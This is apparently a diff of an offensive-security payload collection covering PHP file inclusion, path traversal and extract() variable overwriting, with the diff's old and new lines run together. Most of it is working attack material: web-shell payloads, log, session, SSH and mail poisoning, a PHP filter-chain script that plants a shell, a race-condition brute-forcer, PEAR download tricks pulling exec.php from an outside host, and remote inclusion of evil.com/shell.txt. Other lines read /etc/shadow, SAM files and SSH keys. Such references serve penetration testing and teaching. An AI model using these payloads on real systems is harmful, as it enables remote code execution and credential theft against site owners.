/var/log/apache/access.log * [PortSwigger - File path traversal, traversal sequences blocked with absolute path bypass](https://portswigger.net/web-security/file-path-traversal/lab-absolute-path-bypass)
/var/log/apache/error.log * [PortSwigger - File path traversal, traversal sequences stripped non-recursively](https://portswigger.net/web-security/file-path-traversal/lab-sequences-stripped-non-recursively)
/var/log/httpd/error_log * [PortSwigger - File path traversal, traversal sequences stripped with superfluous URL-decode](https://portswigger.net/web-security/file-path-traversal/lab-superfluous-url-decode)
/usr/local/apache/log/error_log * [PortSwigger - File path traversal, validation of start of path](https://portswigger.net/web-security/file-path-traversal/lab-validate-start-of-path)
/usr/local/apache2/log/error_log * [PortSwigger - File path traversal, validation of file extension with null byte bypass](https://portswigger.net/web-security/file-path-traversal/lab-validate-file-extension-null-byte-bypass)
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail
```
## References ## References
* [Path Traversal Cheat Sheet: Windows](https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/) * [Cookieless ASPNET - Soroush Dalili - March 27, 2023](https://twitter.com/irsdl/status/1640390106312835072)
* [Directory traversal attack - Wikipedia](https://en.wikipedia.org/wiki/Directory_traversal_attack)
* [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html) * [CWE-40: Path Traversal: '\\UNC\share\name\' (Windows UNC Share) - CWE Mitre - December 27, 2018](https://cwe.mitre.org/data/definitions/40.html)
* [NGINX may be protecting your applications from traversal attacks without you even knowing](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381) * [Directory traversal - Portswigger - March 30, 2019](https://portswigger.net/web-security/file-path-traversal)
* [Directory traversal - Portswigger](https://portswigger.net/web-security/file-path-traversal) * [Directory traversal attack - Wikipedia - August 5, 2024](https://en.wikipedia.org/wiki/Directory_traversal_attack)
* [EP 057 | Proc filesystem tricks & locatedb abuse with @_remsio_ & @_bluesheet - TheLaluka - November 30, 2023](https://youtu.be/YlZGJ28By8U)
* [Exploiting Blind File Reads / Path Traversal Vulnerabilities on Microsoft Windows Operating Systems - @evisneffos - 19 June 2018](https://web.archive.org/web/20200919055801/http://www.soffensive.com/2018/06/exploiting-blind-file-reads-path.html)
* [NGINX may be protecting your applications from traversal attacks without you even knowing - Rotem Bar - September 24, 2020](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d?source=friends_link&sk=e9ddbadd61576f941be97e111e953381)
* [Path Traversal Cheat Sheet: Windows - @HollyGraceful - May 17, 2015](https://web.archive.org/web/20170123115404/https://gracefulsecurity.com/path-traversal-cheat-sheet-windows/)
* [Understand How the ASP.NET Cookieless Feature Works - Microsoft Documentation - June 24, 2011](https://learn.microsoft.com/en-us/previous-versions/dotnet/articles/aa479315(v=msdn.10))

View File

@@ -0,0 +1,98 @@
# External Variable Modification
> External Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables. In PHP, functions like extract($_GET), extract($_POST), or import_request_variables() can be abused if they import user-controlled data into the global scope without proper validation. This can lead to security issues such as unauthorized changes to application logic, privilege escalation, or bypassing security controls.
## Summary
* [Methodology](#methodology)
* [Overwriting Critical Variables](#overwriting-critical-variables)
* [Poisoning File Inclusion](#poisoning-file-inclusion)
* [Global Variable Injection](#global-variable-injection)
* [Remediations](#remediations)
* [References](#references)
## Methodology
The `extract()` function in PHP imports variables from an array into the current symbol table. While it may seem convenient, it can introduce serious security risks, especially when handling user-supplied data.
* It allows overwriting existing variables.
* It can lead to **variable pollution**, impacting security mechanisms.
* It can be used as a **gadget** to trigger other vulnerabilities like Remote Code Execution (RCE) and Local File Inclusion (LFI).
By default, `extract()` uses `EXTR_OVERWRITE`, meaning it **replaces existing variables** if they share the same name as keys in the input array.
### Overwriting Critical Variables
If `extract()` is used in a script that relies on specific variables, an attacker can manipulate them.
```php
<?php
$authenticated = false;
extract($_GET);
if ($authenticated) {
echo "Access granted!";
} else {
echo "Access denied!";
}
?>
```
**Exploitation:**
In this example, the use of `extract($_GET)` allow an attacker to set the `$authenticated` variable to `true`:
```ps1
http://example.com/vuln.php?authenticated=true
http://example.com/vuln.php?authenticated=1
```
### Poisoning File Inclusion
If `extract()` is combined with file inclusion, attackers can control file paths.
```php
<?php
$page = "config.php";
extract($_GET);
include "$page";
?>
```
**Exploitation:**
```ps1
http://example.com/vuln.php?page=../../etc/passwd
```
### Global Variable Injection
:warning: As of PHP 8.1.0, write access to the entire `$GLOBALS` array is no longer supported.
Overwriting `$GLOBALS` when an application calls `extract` function on untrusted value:
```php
extract($_GET);
```
An attacker can manipulate **global variables**:
```ps1
http://example.com/vuln.php?GLOBALS[admin]=1
```
## Remediations
Use `EXTR_SKIP` to prevent overwriting:
```php
extract($_GET, EXTR_SKIP);
```
## References
* [CWE-473: PHP External Variable Modification - Common Weakness Enumeration - November 19, 2024](https://cwe.mitre.org/data/definitions/473.html)
* [CWE-621: Variable Extraction Error - Common Weakness Enumeration - November 19, 2024](https://cwe.mitre.org/data/definitions/621.html)
* [Function extract - PHP Documentation - March 21, 2001](https://www.php.net/manual/en/function.extract.php)
* [$GLOBALS variables - PHP Documentation - April 30, 2008](https://www.php.net/manual/en/reserved.variables.globals.php)
* [The Ducks - HackThisSite - December 14, 2016](https://github.com/HackThisSite/CTF-Writeups/blob/master/2016/SCTF/Ducks/README.md)
* [Extracttheflag! - Orel / WindTeam - February 28, 2024](https://ctftime.org/writeup/38076)

View File

@@ -0,0 +1,60 @@
import requests
url = "http://localhost:8000/chall.php"
file_to_use = "/etc/passwd"
command = "id"
#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"
conversions = {
'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
'C': 'convert.iconv.UTF8.CSISO2022KR',
'8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
'9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
'7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
'4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}
# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"
for c in base64_payload[::-1]:
filters += conversions[c] + "|"
# decode and re-encode to get rid of everything that isn't valid base64
filters += "convert.base64-decode|"
filters += "convert.base64-encode|"
# get rid of equal signs
filters += "convert.iconv.UTF8.UTF7|"
filters += "convert.base64-decode"
final_payload = f"php://filter/{filters}/resource={file_to_use}"
with open('payload', 'w') as f:
f.write(final_payload)
r = requests.get(url, params={
"0": command,
"action": "include",
"file": final_payload
})
print(r.text)

View File

@@ -53,6 +53,8 @@ def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
d += s.recv(offset) d += s.recv(offset)
try: try:
i = d.index("[tmp_name] =>") i = d.index("[tmp_name] =>")
if i == -1:
i = d.index("[tmp_name] =&gt;")
fn = d[i+17:i+31] fn = d[i+17:i+31]
except ValueError: except ValueError:
return None return None
@@ -111,6 +113,8 @@ def getOffset(host, port, phpinforeq):
break break
s.close() s.close()
i = d.find("[tmp_name] =>") i = d.find("[tmp_name] =>")
if i == -1:
i = d.find("[tmp_name] =&gt;")
if i == -1: if i == -1:
raise ValueError("No php tmp_name in phpinfo output") raise ValueError("No php tmp_name in phpinfo output")

View File

@@ -0,0 +1,50 @@
convert.iconv.437.CP930
convert.iconv.CP1390.CSIBM932
convert.iconv.CP273.CP1122
convert.iconv.CP285.CP280
convert.iconv.CSISO5427CYRILLIC.855
convert.iconv.CSN_369103.CP770
convert.iconv.CSUNICODE.CSUNICODE
convert.iconv.CSUNICODE.UCS-2BE
convert.iconv.ES.IBM037
convert.iconv.ES.IBM930
convert.iconv.IBM037.CP1250
convert.iconv.IBM037.IBM256
convert.iconv.IBM037.IBM280
convert.iconv.IBM037.IBM860
convert.iconv.IBM1122.IBM273
convert.iconv.IBM1137.8859_1
convert.iconv.IBM1141.8859_1
convert.iconv.IBM1141.IBM4517
convert.iconv.IBM1145.IBM850
convert.iconv.IBM1148.EBCDIC-AT-DE-A
convert.iconv.IBM1149.MAC-SAMI
convert.iconv.IBM1390.IBM932
convert.iconv.IBM1390.IBM939
convert.iconv.IBM1399.IBM930
convert.iconv.IBM256.IBM273
convert.iconv.IBM273.CWI
convert.iconv.IBM273.ES
convert.iconv.IBM273.IBM420
convert.iconv.IBM273.IT
convert.iconv.IBM273.PT
convert.iconv.IBM273.US
convert.iconv.IBM277.ISO-8859-9E
convert.iconv.IBM278.IBM861
convert.iconv.IBM278.MIK
convert.iconv.IBM284.IBM278
convert.iconv.IBM297.IBM273
convert.iconv.IBM297.IBM280
convert.iconv.IBM4971.ARMSCII-8
convert.iconv.IBM870.MAC-IS
convert.iconv.L1.UCS-4
convert.iconv.L1.UCS-4LE
convert.iconv.L1.UTF16LE
convert.iconv.L1.utf7
convert.iconv.L1.UTF7
convert.iconv.UCS-4LE.10646-1:1993
convert.iconv.UTF16.UTF16
convert.iconv..UTF7
convert.iconv.UTF8.CP930
convert.iconv.UTF8.IBM1140
convert.iconv.VISCII.MSZ_7795.3

View File

@@ -0,0 +1,303 @@
# LFI to RCE
> LFI (Local File Inclusion) is a vulnerability that occurs when a web application includes files from the local file system, often due to insecure handling of user input. If an attacker can control the file path, they can potentially include sensitive or dangerous files such as system files (/etc/passwd), configuration files, or even malicious files that could lead to Remote Code Execution (RCE).
## Summary
- [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
- [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
- [LFI to RCE via iconv](#lfi-to-rce-via-iconv)
- [LFI to RCE via upload](#lfi-to-rce-via-upload)
- [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
- [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
- [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
- [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
- [RCE via SSH](#rce-via-ssh)
- [RCE via Mail](#rce-via-mail)
- [RCE via Apache logs](#rce-via-apache-logs)
- [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
- [LFI to RCE via PHP PEARCMD](#lfi-to-rce-via-php-pearcmd)
- [LFI to RCE via Credentials Files](#lfi-to-rce-via-credentials-files)
## LFI to RCE via /proc/*/fd
1. Upload a lot of shells (for example : 100)
2. Include `/proc/$PID/fd/$FD` where `$PID` is the PID of the process and `$FD` the filedescriptor. Both of them can be bruteforced.
```ps1
http://example.com/index.php?page=/proc/$PID/fd/$FD
```
## LFI to RCE via /proc/self/environ
Like a log file, send the payload in the `User-Agent` header, it will be reflected inside the `/proc/self/environ` file
```powershell
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```
## LFI to RCE via iconv
Use the iconv wrapper to trigger an OOB in the glibc (CVE-2024-2961), then use your LFI to read the memory regions from `/proc/self/maps` and to download the glibc binary. Finally you get the RCE by exploiting the `zend_mm_heap` structure to call a `free()` that have been remapped to `system` using `custom_heap._free`.
**Requirements**:
- PHP 7.0.0 (2015) to 8.3.7 (2024)
- GNU C Library (`glibc`) <= 2.39
- Access to `convert.iconv`, `zlib.inflate`, `dechunk` filters
**Exploit**:
- [ambionics/cnext-exploits](https://github.com/ambionics/cnext-exploits/tree/main)
## LFI to RCE via upload
If you can upload a file, just inject the shell payload in it (e.g : `<?php system($_GET['c']); ?>` ).
```powershell
http://example.com/index.php?page=path/to/uploaded/file.png
```
In order to keep the file readable it is best to inject into the metadata for the pictures/doc/pdf
## LFI to RCE via upload (race)
- Upload a file and trigger a self-inclusion.
- Repeat the upload a shitload of time to:
- increase our odds of winning the race
- increase our guessing odds
- Bruteforce the inclusion of /tmp/[0-9a-zA-Z]{6}
- Enjoy our shell.
```python
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
```
## LFI to RCE via upload (FindFirstFile)
:warning: Only works on Windows
`FindFirstFile` allows using masks (`<<` as `*` and `>` as `?`) in LFI paths on Windows. A mask is essentially a search pattern that can include wildcard characters, allowing users or developers to search for files or directories based on partial names or types. In the context of FindFirstFile, masks are used to filter and match the names of files or directories.
- `*`/`<<` : Represents any sequence of characters.
- `?`/`>` : Represents any single character.
Upload a file, it should be stored in the temp folder `C:\Windows\Temp\` with a generated name like `php[A-F0-9]{4}.tmp`.
Then either bruteforce the 65536 filenames or use a wildcard character like: `http://site/vuln.php?inc=c:\windows\temp\php<<`
## LFI to RCE via phpinfo()
PHPinfo() displays the content of any variables such as **$_GET**, **$_POST** and **$_FILES**.
> By making multiple upload posts to the PHPInfo script, and carefully controlling the reads, it is possible to retrieve the name of the temporary file and make a request to the LFI script specifying the temporary file name.
Use the script [phpInfoLFI.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py)
## LFI to RCE via controlled log file
Just append your PHP code into the log file by doing a request to the service (Apache, SSH..) and include the log file.
```powershell
http://example.com/index.php?page=/var/log/apache/access.log
http://example.com/index.php?page=/var/log/apache/error.log
http://example.com/index.php?page=/var/log/apache2/access.log
http://example.com/index.php?page=/var/log/apache2/error.log
http://example.com/index.php?page=/var/log/nginx/access.log
http://example.com/index.php?page=/var/log/nginx/error.log
http://example.com/index.php?page=/var/log/vsftpd.log
http://example.com/index.php?page=/var/log/sshd.log
http://example.com/index.php?page=/var/log/mail
http://example.com/index.php?page=/var/log/httpd/error_log
http://example.com/index.php?page=/usr/local/apache/log/error_log
http://example.com/index.php?page=/usr/local/apache2/log/error_log
```
### RCE via SSH
Try to ssh into the box with a PHP code as username `<?php system($_GET["cmd"]);?>`.
```powershell
ssh <?php system($_GET["cmd"]);?>@10.10.10.10
```
Then include the SSH log files inside the Web Application.
```powershell
http://example.com/index.php?page=/var/log/auth.log&cmd=id
```
### RCE via Mail
First send an email using the open SMTP then include the log file located at `http://example.com/index.php?page=/var/log/mail`.
```powershell
root@kali:~# telnet 10.10.10.10. 25
Trying 10.10.10.10....
Connected to 10.10.10.10..
Escape character is '^]'.
220 straylight ESMTP Postfix (Debian/GNU)
helo ok
250 straylight
mail from: mail@example.com
250 2.1.0 Ok
rcpt to: root
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: <?php echo system($_GET["cmd"]); ?>
data2
.
```
In some cases you can also send the email with the `mail` command line.
```powershell
mail -s "<?php system($_GET['cmd']);?>" www-data@10.10.10.10. < /dev/null
```
### RCE via Apache logs
Poison the User-Agent in access logs:
```ps1
curl http://example.org/ -A "<?php system(\$_GET['cmd']);?>"
```
Note: The logs will escape double quotes so use single quotes for strings in the PHP payload.
Then request the logs via the LFI and execute your command.
```ps1
curl http://example.org/test.php?page=/var/log/apache2/access.log&cmd=id
```
## LFI to RCE via PHP sessions
Check if the website use PHP Session (PHPSESSID)
```javascript
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```
In PHP these sessions are stored into /var/lib/php5/sess_[PHPSESSID] or /var/lib/php/sessions/sess_[PHPSESSID] files
```javascript
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```
Set the cookie to `<?php system('cat /etc/passwd');?>`
```powershell
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```
Use the LFI to include the PHP session file
```powershell
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27
```
## LFI to RCE via PHP PEARCMD
PEAR is a framework and distribution system for reusable PHP components. By default `pearcmd.php` is installed in every Docker PHP image from [hub.docker.com](https://hub.docker.com/_/php) in `/usr/local/lib/php/pearcmd.php`.
The file `pearcmd.php` uses `$_SERVER['argv']` to get its arguments. The directive `register_argc_argv` must be set to `On` in PHP configuration (`php.ini`) for this attack to work.
```ini
register_argc_argv = On
```
There are this ways to exploit it.
- **Method 1**: config create
```ps1
/vuln.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=eval($_GET['cmd'])?>+/tmp/exec.php
/vuln.php?file=/tmp/exec.php&cmd=phpinfo();die();
```
- **Method 2**: man_dir
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+
/vuln.php?file=/tmp/exec.php&c=id
```
The created configuration file contains the webshell.
```php
#PEAR_Config 0.9
a:2:{s:10:"__channels";a:2:{s:12:"pecl.php.net";a:0:{}s:5:"__uri";a:0:{}}s:7:"man_dir";s:29:"<?echo(system($_GET['c']));?>";}
```
- **Method 3**: download (need external network connection).
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+download+http://<ip>:<port>/exec.php
/vuln.php?file=exec.php&c=id
```
- **Method 4**: install (need external network connection). Notice that `exec.php` locates at `/tmp/pear/download/exec.php`.
```ps1
/vuln.php?file=/usr/local/lib/php/pearcmd.php&+install+http://<ip>:<port>/exec.php
/vuln.php?file=/tmp/pear/download/exec.php&c=id
```
## LFI to RCE via credentials files
This method require high privileges inside the application in order to read the sensitive files.
### Windows version
Extract `sam` and `system` files.
```powershell
http://example.com/index.php?page=../../../../../../WINDOWS/repair/sam
http://example.com/index.php?page=../../../../../../WINDOWS/repair/system
```
Then extract hashes from these files `samdump2 SYSTEM SAM > hashes.txt`, and crack them with `hashcat/john` or replay them using the Pass The Hash technique.
### Linux version
Extract `/etc/shadow` files.
```powershell
http://example.com/index.php?page=../../../../../../etc/shadow
```
Then crack the hashes inside in order to login via SSH on the machine.
Another way to gain SSH access to a Linux machine through LFI is by reading the private SSH key file: `id_rsa`.
If SSH is active, check which user is being used in the machine by including the content of `/etc/passwd` and try to access `/<HOME>/.ssh/id_rsa` for every user with a home.
## References
- [LFI WITH PHPINFO() ASSISTANCE - Brett Moore - September 2011](https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf)
- [LFI2RCE via PHP Filters - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters)
- [Local file inclusion tricks - Johan Adriaans - August 4, 2007](http://devels-playground.blogspot.fr/2007/08/local-file-inclusion-tricks.html)
- [PHP LFI to arbitrary code execution via rfc1867 file upload temporary files (EN) - Gynvael Coldwind - March 18, 2011](https://gynvael.coldwind.pl/?id=376)
- [PHP LFI with Nginx Assistance - Bruno Bierbaumer - 26 Dec 2021](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
- [Upgrade from LFI to RCE via PHP Sessions - Reiners - September 14, 2017](https://web.archive.org/web/20170914211708/https://www.rcesecurity.com/2017/08/from-lfi-to-rce-via-php-sessions/)

View File

@@ -1,44 +1,43 @@
# File Inclusion # File Inclusion
> The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. > A File Inclusion Vulnerability refers to a type of security vulnerability in web applications, particularly prevalent in applications developed in PHP, where an attacker can include a file, usually exploiting a lack of proper input/output sanitization. This vulnerability can lead to a range of malicious activities, including code execution, data theft, and website defacement.
> The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application
## Summary ## Summary
* [Tools](#tools) - [Tools](#tools)
* [Basic LFI](#basic-lfi) - [Local File Inclusion](#local-file-inclusion)
* [Null byte](#null-byte) - [Null Byte](#null-byte)
* [Double encoding](#double-encoding) - [Double Encoding](#double-encoding)
* [UTF-8 encoding](#utf-8-encoding) - [UTF-8 Encoding](#utf-8-encoding)
* [Path and dot truncation](#path-and-dot-truncation) - [Path Truncation](#path-truncation)
* [Filter bypass tricks](#filter-bypass-tricks) - [Filter Bypass](#filter-bypass)
* [Basic RFI](#basic-rfi) - [Remote File Inclusion](#remote-file-inclusion)
* [LFI / RFI using wrappers](#lfi--rfi-using-wrappers) - [Null Byte](#null-byte-1)
* [Wrapper php://filter](#wrapper-phpfilter) - [Double Encoding](#double-encoding-1)
* [Wrapper zip://](#wrapper-zip) - [Bypass allow_url_include](#bypass-allow_url_include)
* [Wrapper data://](#wrapper-data) - [Labs](#labs)
* [Wrapper expect://](#wrapper-expect) - [References](#references)
* [Wrapper input://](#wrapper-input)
* [Wrapper phar://](#wrapper-phar)
* [LFI to RCE via /proc/*/fd](#lfi-to-rce-via-procfd)
* [LFI to RCE via /proc/self/environ](#lfi-to-rce-via-procselfenviron)
* [LFI to RCE via upload](#lfi-to-rce-via-upload)
* [LFI to RCE via upload (race)](#lfi-to-rce-via-upload-race)
* [LFI to RCE via upload (FindFirstFile)](#lfi-to-rce-via-upload-findfirstfile)
* [LFI to RCE via phpinfo()](#lfi-to-rce-via-phpinfo)
* [LFI to RCE via controlled log file](#lfi-to-rce-via-controlled-log-file)
* [LFI to RCE via PHP sessions](#lfi-to-rce-via-php-sessions)
* [LFI to RCE via credentials files](#lfi-o-rce-via-credentials-files)
## Tools ## Tools
* [Kadimus - https://github.com/P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) - [P0cL4bs/Kadimus](https://github.com/P0cL4bs/Kadimus) (archived on Oct 7, 2020) - kadimus is a tool to check and exploit lfi vulnerability.
* [LFISuite - https://github.com/D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) - [D35m0nd142/LFISuite](https://github.com/D35m0nd142/LFISuite) - Totally Automatic LFI Exploiter (+ Reverse Shell) and Scanner
* [fimap - https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) - [kurobeats/fimap](https://github.com/kurobeats/fimap) - fimap is a little python tool which can find, prepare, audit, exploit and even google automatically for local and remote file inclusion bugs in webapps.
* [panoptic - https://github.com/lightos/Panoptic](https://github.com/lightos/Panoptic) - [lightos/Panoptic](https://github.com/lightos/Panoptic) - Panoptic is an open source penetration testing tool that automates the process of search and retrieval of content for common log and config files through path traversal vulnerabilities.
- [hansmach1ne/LFImap](https://github.com/hansmach1ne/LFImap) - Local File Inclusion discovery and exploitation tool
## Basic LFI ## Local File Inclusion
**File Inclusion Vulnerability** should be differentiated from **Path Traversal**. The Path Traversal vulnerability allows an attacker to access a file, usually exploiting a "reading" mechanism implemented in the target application, when the File Inclusion will lead to the execution of arbitrary code.
Consider a PHP script that includes a file based on user input. If proper sanitization is not in place, an attacker could manipulate the `page` parameter to include local or remote files, leading to unauthorized access or code execution.
```php
<?php
$file = $_GET['page'];
include($file);
?>
```
In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files. In the following examples we include the `/etc/passwd` file, check the `Directory & Path Traversal` chapter for more interesting files.
@@ -46,31 +45,37 @@ In the following examples we include the `/etc/passwd` file, check the `Director
http://example.com/index.php?page=../../../etc/passwd http://example.com/index.php?page=../../../etc/passwd
``` ```
### Null byte ### Null Byte
:warning: In versions of PHP below 5.3.4 we can terminate with null byte. :warning: In versions of PHP below 5.3.4 we can terminate with null byte (`%00`).
```powershell ```powershell
http://example.com/index.php?page=../../../etc/passwd%00 http://example.com/index.php?page=../../../etc/passwd%00
``` ```
### Double encoding **Example**: Joomla! Component Web TV 1.0 - CVE-2010-1470
```ps1
{{BaseURL}}/index.php?option=com_webtv&controller=../../../../../../../../../../etc/passwd%00
```
### Double Encoding
```powershell ```powershell
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00 http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
``` ```
### UTF-8 encoding ### UTF-8 Encoding
```powershell ```powershell
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00 http://example.com/index.php?page=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd%00
``` ```
### Path and dot truncation ### Path Truncation
On most PHP installations a filename longer than 4096 bytes will be cut off so any excess chars will be thrown away. On most PHP installations a filename longer than `4096` bytes will be cut off so any excess chars will be thrown away.
```powershell ```powershell
http://example.com/index.php?page=../../../etc/passwd............[ADD MORE] http://example.com/index.php?page=../../../etc/passwd............[ADD MORE]
@@ -79,7 +84,7 @@ http://example.com/index.php?page=../../../etc/passwd/./././././.[ADD MORE]
http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd http://example.com/index.php?page=../../../[ADD MORE]../../../../etc/passwd
``` ```
### Filter bypass tricks ### Filter Bypass
```powershell ```powershell
http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=....//....//etc/passwd
@@ -87,7 +92,15 @@ http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
``` ```
## Basic RFI ## Remote File Inclusion
> Remote File Inclusion (RFI) is a type of vulnerability that occurs when an application includes a remote file, usually through user input, without properly validating or sanitizing the input.
Remote File Inclusion doesn't work anymore on a default configuration since `allow_url_include` is now disabled since PHP 5.
```ini
allow_url_include = On
```
Most of the filter bypasses from LFI section can be reused for RFI. Most of the filter bypasses from LFI section can be reused for RFI.
@@ -95,13 +108,13 @@ Most of the filter bypasses from LFI section can be reused for RFI.
http://example.com/index.php?page=http://evil.com/shell.txt http://example.com/index.php?page=http://evil.com/shell.txt
``` ```
### Null byte ### Null Byte
```powershell ```powershell
http://example.com/index.php?page=http://evil.com/shell.txt%00 http://example.com/index.php?page=http://evil.com/shell.txt%00
``` ```
### Double encoding ### Double Encoding
```powershell ```powershell
http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt http://example.com/index.php?page=http:%252f%252fevil.com%252fshell.txt
@@ -115,333 +128,18 @@ When `allow_url_include` and `allow_url_fopen` are set to `Off`. It is still pos
2. Write a PHP code inside a file : `shell.php` 2. Write a PHP code inside a file : `shell.php`
3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php` 3. Include it `http://example.com/index.php?page=\\10.0.0.1\share\shell.php`
## Labs
